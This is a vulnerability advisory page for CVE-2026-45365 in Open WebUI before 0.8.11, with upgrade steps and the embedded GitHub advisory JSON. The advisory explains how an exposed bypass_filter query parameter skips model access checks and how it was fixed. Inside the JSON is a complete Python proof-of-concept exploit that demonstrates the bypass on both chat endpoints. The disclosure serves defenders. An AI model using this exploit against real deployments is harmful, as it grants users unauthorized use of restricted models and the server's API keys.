CVE-2026-45365: Open WebUI Authenticated Users Can Bypass Model Vulnerability
MODERATECVE-2026-45365 is a MODERATE (CVSS 5.4) authenticated users can bypass model vulnerability (CWE-285: Improper Authorization) affecting Open WebUI libraries in the PyPI ecosystem. The issue involves authenticated users can bypass model access control via exposed query parameter [ai-assisted]. Remediation is available by upgrading affected packages to version 0.8.11.
CVE-2026-45365 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).
How to Fix CVE-2026-45365
To remediate this vulnerability, upgrade all affected Open WebUI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.8.11
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-45365, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open WebUI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.11), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Open WebUI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45365 Affected Open WebUI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.8.11
|
0.8.11
|
References
Frequently Asked Questions
What is CVE-2026-45365?
Which Open WebUI versions are affected?
What version fixes CVE-2026-45365?
Is open-webui affected?
What is the CVSS score of CVE-2026-45365?
What CWE is associated with CVE-2026-45365?
How can I check PyPI dependencies for CVE-2026-45365?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-v6qf-75pr-p96m",
"modified" : "2026-05-19T16:00:05Z",
"published" : "2026-05-14T20:25:24Z",
"aliases" : [ "CVE-2026-45365" ],
"summary" : "Open WebUI: Authenticated users can bypass model access control via exposed query parameter [AI-ASSISTED]",
"details" : "### Summary\n\nAn internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models.\n\n### Details\n\nThe `generate_chat_completion` route handlers in both `routers/openai.py` and `routers/ollama.py` declare `bypass_filter` as a function parameter:\n\n**`routers/openai.py`, line 937–941:**\n\n```python\n@router.post(\"/chat/completions\")\nasync def generate_chat_completion(\n request: Request,\n form_data: dict,\n user=Depends(get_verified_user),\n bypass_filter: Optional[bool] = False,\n ...\n):\n```\n\n**`routers/ollama.py`, line 1283–1288:**\n\n```python\n@router.post(\"/api/chat\")\nasync def generate_chat_completion(\n ...\n bypass_filter: Optional[bool] = False,\n ...\n):\n```\n\nBecause FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending `?bypass_filter=true` to the request URL.\n\nWhen `bypass_filter` is true, the access control check is skipped entirely:\n\n**`routers/openai.py`, line 980:**\n\n```python\nif not bypass_filter and user.role == \"user\":\n # ACL check — skipped when bypass_filter is True\n```\n\nThis parameter is intended for internal use only — the server-side chat pipeline in `utils/chat.py` (lines 238, 253) passes `bypass_filter=True` as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.\n\nThis is separate from the `BYPASS_MODEL_ACCESS_CONTROL` environment variable, which is a deliberate admin setting for trusted environments.\n\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089]\n\nFinding #2 — Unauthorized model access via bypass_filter query parameter\n\nSUMMARY:\n The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose\n a bypass_filter query parameter as part of their FastAPI function signatures.\n FastAPI automatically binds this to the query string. When an authenticated\n user appends ?bypass_filter=true, the access control check is skipped:\n\n if not bypass_filter and user.role == \"user\":\n check_model_access(user, model) # <-- skipped when bypass_filter=True\n\n This allows any authenticated user to invoke models they are not authorized\n to use, including admin-restricted models.\n\nVULNERABLE CODE:\n backend/open_webui/routers/openai.py, line 941 + 980:\n async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):\n ...\n if not bypass_filter and user.role == \"user\":\n # ACL check — skipped when bypass_filter=True\n\n backend/open_webui/routers/ollama.py, line 1288 + 1339:\n async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):\n ...\n if not bypass_filter and user.role == \"user\":\n # ACL check — skipped when bypass_filter=True\n\nIMPACT:\n Any authenticated user can bypass model access control on both OpenAI and\n Ollama proxy endpoints. Because bypass_filter skips the ACL check but still\n routes through the server-side LLM connection, the attacker can invoke\n admin-restricted models using the server's API keys and receive actual LLM\n responses — effectively gaining free, unauthorized access to any configured\n model.\n\nREPRODUCTION:\n 1. Create a restricted model with empty access_grants (admin-only).\n 2. Authenticate as a regular user.\n 3. POST /openai/chat/completions with the restricted model → expect 403.\n 4. POST /openai/chat/completions?bypass_filter=true → request succeeds.\n\nREQUIREMENTS:\n - Running Open WebUI instance with Ollama or OpenAI backend configured\n - A model with restricted access_grants\n - An authenticated user who is NOT granted access to that model\n\"\"\"\n\nimport argparse\nimport sys\nimport requests\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Finding #2: bypass_filter ACL bypass\")\n parser.add_argument(\"--base-url\", required=True, help=\"Open WebUI base URL\")\n parser.add_argument(\"--attacker-email\", required=True)\n parser.add_argument(\"--attacker-password\", required=True)\n parser.add_argument(\"--admin-email\", required=True)\n parser.add_argument(\"--admin-password\", required=True)\n args = parser.parse_args()\n\n base = args.base_url.rstrip(\"/\")\n\n # ── Step 1: Authenticate ──\n print(\"[*] Authenticating as attacker...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n if not r.ok:\n print(f\"[-] Login failed: {r.status_code}\")\n sys.exit(1)\n attacker_token = r.json()[\"token\"]\n print(f\"[+] Logged in as attacker (id={r.json()['id']})\")\n\n # ── Step 2: Find restricted model via admin ──\n print(\"[*] Authenticating as admin to find restricted model...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.admin_email, \"password\": args.admin_password})\n if not r.ok:\n print(f\"[-] Admin login failed: {r.status_code}\")\n sys.exit(1)\n admin_token = r.json()[\"token\"]\n\n r = requests.get(f\"{base}/api/v1/models\", headers={\"Authorization\": f\"Bearer {admin_token}\"})\n if not r.ok:\n print(f\"[-] Failed to list models: {r.status_code}\")\n sys.exit(1)\n\n models = r.json()\n if isinstance(models, dict):\n models = models.get(\"data\", models.get(\"models\", []))\n\n restricted_model_id = None\n base_model_id = None\n for m in models:\n info = m.get(\"info\", {})\n if not info:\n continue\n access_grants = info.get(\"access_grants\", None)\n if access_grants is not None and len(access_grants) == 0 and info.get(\"base_model_id\"):\n restricted_model_id = m[\"id\"]\n base_model_id = info.get(\"base_model_id\")\n print(f\"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})\")\n break\n\n if not restricted_model_id:\n print(\"[-] No restricted model found.\")\n sys.exit(1)\n\n headers = {\"Authorization\": f\"Bearer {attacker_token}\"}\n payload = {\n \"model\": restricted_model_id,\n \"messages\": [{\"role\": \"user\", \"content\": \"Say exactly: BYPASS_CONFIRMED\"}],\n \"stream\": False,\n }\n\n # ── Step 3: Confirm access is denied on /openai/chat/completions ──\n print(f\"\\n[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted_model_id}'...\")\n r = requests.post(f\"{base}/openai/chat/completions\", headers=headers, json=payload)\n print(f\" Response: {r.status_code} {r.text[:200]}\")\n\n if r.status_code == 403:\n print(\"[+] Access correctly DENIED (403) — attacker cannot use the restricted model\")\n else:\n print(f\"[!] Unexpected response code {r.status_code} (expected 403)\")\n\n # ── Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint ──\n print(f\"\\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...\")\n r = requests.post(f\"{base}/openai/chat/completions\",\n headers=headers, json=payload,\n params={\"bypass_filter\": \"true\"})\n print(f\" Response: {r.status_code} {r.text[:300]}\")\n\n openai_bypassed = r.status_code != 403\n\n if openai_bypassed:\n print(f\"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)\")\n else:\n print(f\"[-] OpenAI endpoint: bypass did not work (still 403)\")\n\n # ── Step 5: Also test Ollama endpoint ──\n print(f\"\\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...\")\n ollama_payload = {\n \"model\": restricted_model_id,\n \"messages\": [{\"role\": \"user\", \"content\": \"Say exactly: BYPASS_CONFIRMED\"}],\n \"stream\": False,\n }\n r_normal = requests.post(f\"{base}/ollama/api/chat\", headers=headers, json=ollama_payload)\n print(f\" Without bypass: {r_normal.status_code} {r_normal.text[:150]}\")\n\n r_bypass = requests.post(f\"{base}/ollama/api/chat\", headers=headers, json=ollama_payload,\n params={\"bypass_filter\": \"true\"})\n print(f\" With bypass: {r_bypass.status_code} {r_bypass.text[:150]}\")\n\n ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403\n\n if ollama_bypassed:\n print(f\"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} → {r_bypass.status_code})\")\n elif r_bypass.status_code != 403:\n print(f\"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})\")\n ollama_bypassed = True\n else:\n print(f\"[-] Ollama endpoint: bypass did not work\")\n\n # ── Results ──\n if openai_bypassed or ollama_bypassed:\n print(f\"\\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!\")\n print(f\" OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}\")\n print(f\" Ollama endpoint (/ollama/api/chat): {'BYPASSED' if ollama_bypassed else 'not bypassed'}\")\n print(f\"\")\n print(f\" Any authenticated user can append ?bypass_filter=true to skip\")\n print(f\" check_model_access() and use admin-restricted models via the\")\n print(f\" server's own API keys.\")\n sys.exit(0)\n else:\n print(f\"\\n[-] FAILED: bypass_filter did not bypass access control on either endpoint\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n### Impact\n\nAny authenticated user (including those with the lowest \"user\" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only.\n\n\n## Resolution\n\nFixed in commit [c0385f60b](https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37), first released in **v0.8.11** (Mar 2026) — one day after this report.\n\n`bypass_filter` is no longer a function parameter on either route handler. Both `routers/openai.py` and `routers/ollama.py` now read it via `getattr(request.state, 'bypass_filter', False)`. Because `request.state` can only be populated by server-side code in the same process (typically `utils/chat.py` when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending `?bypass_filter=true` to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.\n\nUsers on `>= 0.8.11` are not affected.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.11"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.10"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-v6qf-75pr-p96m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45365"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/releases/tag/v0.8.11"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-285" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-14T20:25:24Z",
"nvd_published_at" : "2026-05-15T22:16:55Z"
}
}